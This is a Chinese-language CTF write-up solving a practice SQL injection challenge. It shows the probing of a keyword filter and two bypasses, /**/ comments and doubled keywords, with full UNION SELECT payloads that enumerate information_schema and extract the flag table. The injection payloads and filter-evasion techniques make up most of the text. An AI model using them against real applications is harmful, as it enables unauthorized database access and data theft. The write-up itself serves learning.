實驗吧web-中-簡單的sql注入
頁面顯示:到底過濾了什麼東西?
所以我們先試試到底是過濾了什麼
1 顯示正常
1' 不正常
(直接輸入的關鍵字均會被過濾)
1 union select 顯示:1 select
1 union select table_name 顯示:1 table_name
1 unionunion select 顯示:1 unionselect
1 unionunion select table_name 顯示:1 uniontable_name
我們可以發現會過濾掉關鍵字,但是好像只能過濾掉後面有空格的關鍵字(會將其後面的空格一併過濾掉)
於是我們可以想辦法繞過這個空格:
策略一:用++或/**/繞過(較簡單,因為這樣關鍵字不會被過濾)
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
後面單獨的'用了閉合掉一個'號
最下面看到flag表,於是再用1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag 卻發現column_name和information_schema.columns被過濾掉了
所以用:1'/**/union/**/select/**/columncolumn_name_name/**/from/**/informationinformation_schema.columns_schema.columns/**/where/**/table_name='flag 得到
得到flag這個column,再查詢其內容:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
就拿到flag了。
策略二:雙寫加雙空格繞過(用的上面的圖)
1.首先,暴表:1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1
2.爆欄位:這個和上面一樣有過濾
1' unionunion selectselect columncolumn_name_name fromfrom information_schemainformation_schema.columns.columns wherewhere table_name='flag
3.爆內容:1' unionunion selectselect flag fromfrom flag wherewhere '1'='1
就拿到flag了。